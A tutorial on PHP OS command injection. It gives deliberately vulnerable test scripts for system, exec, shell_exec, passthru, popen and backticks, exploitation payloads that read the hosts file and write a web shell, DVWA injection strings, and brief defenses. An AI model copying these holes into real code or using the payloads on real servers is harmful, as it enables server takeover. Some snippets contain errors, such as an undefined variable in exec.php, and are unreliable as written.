OS Command Injection

Principle and cause:

In the process of developing applications with scripting languages (such as PHP), the development of scripting languages is fast, concise and convenient, but there are also some problems. For example, slow speed, or inaccessible to the bottom of the system, if we develop applications, especially those at the enterprise level, we need to call some external programs (executables such as system commands or exes). Functions of system commands are used when the application needs to call some external programs. When these functions are called to execute system commands, splicing user input into the command line as a parameter of system commands can create a command execution vulnerability without filtering user input.
1. User input as stitching
2. Not enough filtering

Vulnerability hazard

1. Inherit Web server program permissions (Web user permissions) to execute system commands
2. Inherit Web server permissions, read and write files
3. Bounce Shell (Server Active Connection Attacker)
4. Control the entire Web site
5. Control the whole server

Examples of correlation functions

• system()
  system() can execute strings as OS commands with its own output function.
  The test code is as follows:

#system.php
<meta charset='gb2312'>
#1
<?php
$str="ipconfig";
system($str);
?>
#2
<?php
if($_GET['cmd']){
	$str=$_GET['cmd'];
	system($str);
}
?>
#
<?php
if(isset($_GET['cmd'])){
	echo "<pre>";
	system($_GET['cmd']);
}
else{
	echo"?cmd=ipconfig";
}
?>

• exec()
  exec() can execute strings as OS commands and requires output of the execution results.
  The test code is as follows:

#exec.php
<meta charset="gb2312">
<?php
if(isset($_GET['cmd'])){
	echo "<pre>";
	print exec($str);
}else{
	echo"?cmd=whoami";
}
?>

• shell_exec()
  The test code is as follows:

#shell_exec.php
<?php
if(isset($_GET['cmd'])){
	print shell_exec($_GET['cmd']);
}else{
	echo"?cmd=whoami";  # cmd=systeminfo / net user add
}
?>

• passthru(). In-line Output
  The test code is as follows:

#passthru.php
<?php
if(isset($_GET['cmd'])){
	passthru($_GET['cmd']);
}else{
	echo"?cmd=whoami";  # cmd=systeminfo / net user add
}
?>

• popen(). Executes an OS command, not returning the result of the command, but returning a file pointer.
  The test code is as follows:

#popen.php
<?php
if(isset($_GET['cmd'])){
	$cmd=$_GET['cmd'].">>1.txt";
	popen($cmd,'r');
}else{
	echo"?cmd=whoami";  # cmd=systeminfo / net user add
}
?>

View 1.txt file

• Reverse Quotes ` (Mac input, option+1 left keyboard)
  Strings within inverted quotes `` are also parsed into OS commands.
  The test code is as follows:

#`.php
<?php
if(isset($_GET['cmd'])){
	$cmd=$_GET['cmd'];
	print `$cmd`;
}else{
	echo"?cmd=whoami";  # cmd=systeminfo / net user add
}
?>

Vulnerability Utilization

OS command injection vulnerability, where an attacker directly inherits Web user privileges and executes arbitrary commands on the server, is particularly harmful. The following commands were tested successfully on a windows system.

• View system files
  Submit parameters
  [?cmd=type c:\windows\system32\drivers\etc\hosts]
  View the system hosts file.
• Show Current Path
  Submit parameter [?cmd=cd]
• Write File
  Submit parameters
  [?cmd=echo"?php phpinfo();?>" > D:\xampp\htdocs\Commandi\shell.php]
  There was no error on the page indicating that the file was successfully written. Access the shell.php file.

Defense methods

1. Minimize the use of command execution functions, and at disable_ Disabled in functions
2. Filter parameters before entering a function or method for command execution
3. Parameter values are wrapped in quotes whenever possible and escaped by calling addslashes before splicing

Practice

Security is an issue that needs to be considered in all respects

DVWA Command Injection (Code Audit)

low
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.0.1||whoami
medium
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.0.1||whoami
high
127.0.0.1|whoami

Reference Links

OS Command Injection